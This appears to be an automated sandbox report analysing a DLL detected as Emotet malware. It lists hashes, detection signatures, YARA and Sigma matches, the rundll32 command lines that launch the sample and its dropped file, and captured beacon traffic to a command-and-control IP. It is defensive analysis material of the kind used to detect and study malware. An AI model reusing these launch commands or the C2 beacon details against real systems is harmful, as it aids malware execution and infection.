Play interactive tour

Edit tour

Windows Analysis Report IGidwJjoUs

Overview

General Information

Sample Name:	IGidwJjoUs (renamed file extension from none to dll)
Analysis ID:	532314
MD5:	daf0060326338fd3d153248ca89b40e5
SHA1:	b11244a64678d1e8280b7daf273cb0563ee51803
SHA256:	e9f7e82f30ad5350adb0ad37ac11bc26ae7f3b0879fe33e2a23c97f158c85780
Tags:	32dllexe
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Sigma detected: Emotet RunDLL32 Process Creation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Abnormal high CPU Usage

AV process strings found (often used to terminate AV products)

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6888 cmdline: loaddll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 6908 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6932 cmdline: rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5624 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6920 cmdline: rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6496 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cwisdx\vimpwfmepmyc.nyd",czAZWAgsaZPj MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6128 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cwisdx\vimpwfmepmyc.nyd",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6988 cmdline: rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,ajkaibu MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5228 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7000 cmdline: rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,akyncbgollmj MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6572 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 7052 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 308 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 3144 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 304 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 5996 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 6596 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 6888 -ip 6888 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6948 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6888 -ip 6888 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 5528 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6240 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5644 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4588 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.913568790.0000000001020000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000003.00000002.913568790.0000000001020000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.939956990.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.939956990.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.930364249.00000000003B0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000006.00000002.930364249.00000000003B0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.913622906.00000000010CA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.958610660.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.958610660.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.958778791.00000000011EB000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.939332319.00000000005C0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000007.00000002.939332319.00000000005C0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.939371192.000000000095A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.1030937060.0000000000DBA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.989427479.00000000011EB000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.930427759.00000000009EA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000003.904116541.00000000006AB000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000003.904116541.00000000006AB000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.1031053353.00000000010B0000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000C.00000002.1031053353.00000000010B0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.989393299.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.989393299.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000017.00000003.1139622922.0000000000FAB000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000017.00000003.1139622922.0000000000FAB000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.914845954.0000000000540000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.914845954.0000000000540000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.940009942.00000000011EB000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.956837036.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.956837036.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.939031365.00000000011EB000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.956978658.00000000011EB000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.938967752.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.938967752.0000000001170000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author
12.2.rundll32.exe.10b0000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
12.2.rundll32.exe.10b0000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.1020000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.rundll32.exe.1020000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.9.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.9.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1170000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1170000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.10.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.10.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.dd3740.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
12.2.rundll32.exe.dd3740.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.3b0000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
6.2.rundll32.exe.3b0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.4.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.5c0000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
7.2.rundll32.exe.5c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.7.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.7.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1203908.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1203908.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
23.2.rundll32.exe.eb0000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
23.2.rundll32.exe.eb0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.dd3740.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
12.2.rundll32.exe.dd3740.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.4.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.3.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.3.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.a02240.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
6.2.rundll32.exe.a02240.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.10e34a0.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.rundll32.exe.10e34a0.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.5c0000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
7.2.rundll32.exe.5c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.540000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.rundll32.exe.540000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.6.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
23.2.rundll32.exe.eb0000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
23.2.rundll32.exe.eb0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.540000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.rundll32.exe.540000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.10.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.10.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1203908.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1203908.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.9.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.9.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.7.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.1020000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.rundll32.exe.1020000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.a02240.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
6.2.rundll32.exe.a02240.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1170000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1170000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.10b0000.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
12.2.rundll32.exe.10b0000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.3b0000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
6.2.rundll32.exe.3b0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.972240.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
7.2.rundll32.exe.972240.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.972240.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
7.2.rundll32.exe.972240.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.10e34a0.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.rundll32.exe.10e34a0.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.6.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1170000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1203908.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 75 entries

Sigma Overview

System Summary:

Sigma detected: Emotet RunDLL32 Process Creation

Show sources

Source: Process started

Author: FPT.EagleEye: Data: Command: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cwisdx\vimpwfmepmyc.nyd",Control_RunDLL, CommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cwisdx\vimpwfmepmyc.nyd",Control_RunDLL, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cwisdx\vimpwfmepmyc.nyd",czAZWAgsaZPj, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 6496, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cwisdx\vimpwfmepmyc.nyd",Control_RunDLL, ProcessId: 6128

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: IGidwJjoUs.dll	Virustotal: Detection: 18%			Perma Link
Source: IGidwJjoUs.dll	ReversingLabs: Detection: 17%

Source: IGidwJjoUs.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: unknown

HTTPS traffic detected: 45.63.5.129:443 -> 192.168.2.4:49794 version: TLS 1.2

Source: IGidwJjoUs.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: aUojrXoCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000011.00000002.954537444.0000000000492000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944571126.0000000000891000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944524592.0000000000DEA000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944726193.0000000000891000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944963869.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944733553.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944575719.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000011.00000003.944963869.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944733553.0000000000897000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944575719.0000000000897000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944564783.000000000088B000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.945060966.000000000088B000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000011.00000003.944571126.0000000000891000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.944726193.0000000000891000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 00000014.00000003.962626767.00000000048D5000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.962922934.00000000048D5000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000011.00000003.946657846.0000000004B61000.00000004.00000001.sdmp, WerFault.exe, 00000014.00000003.966528838.0000000004CD1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000011.00000003.944564783.000000000088B000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.945060966.000000000088B000.00000004.00000001.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E7C0927 FindFirstFileExW,	0_2_6E7C0927
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E7C0927 FindFirstFileExW,	2_2_6E7C0927
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_00ECE2C8 FindFirstFileW,	23_2_00ECE2C8

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 45.63.5.129 187

Jump to behavior

Source: Joe Sandbox View

ASN Name: AS-CHOOPAUS AS-CHOOPAUS

Source: Joe Sandbox View

JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8

Source: global traffic

HTTP traffic detected: GET /vIcMmPpXrabVVBXOJgaOKuPeOcCKPXUIh HTTP/1.1Cookie: HR=hcy/hRyH9NLoEyk6a7Uz59hOb7mzlO/wmgmuw+U+8hB3e4M76BBMZiQXdzL+rOvzb1yL3LfyOSim45PynOuCpUIZnQ5cZmHqs7SQt9O7zwz4xkXcg6/oRkU7EE5sPE10xFi1y7VDx9Ov7ygmxpemyuKnLT/gv0JB9m9mcmPDhKiVbEhBpBiGTYaZoGTSg6tFd1fI6MMeVezZeVD7pkX8i8U0SqwAVpQnS4Y1xB1iegh6pXp4tFE7gJs9t6T5v6aI71n7DxNMxlhyB7kHYd2tzisWwB/rDwKlrXgJBvRGWdLzEoTJug==Host: 45.63.5.129Connection: Keep-AliveCache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129
Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129
Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129
Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129
Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129
Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129
Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129
Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129
Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129
Source: unknown	TCP traffic detected without corresponding DNS query: 45.63.5.129

Source: svchost.exe, 0000001F.00000003.1157345476.0000015108B84000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","A equals www.facebook.com (Facebook)
Source: svchost.exe, 0000001F.00000003.1157345476.0000015108B84000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify Music","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"pandora","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","A equals www.twitter.com (Twitter)
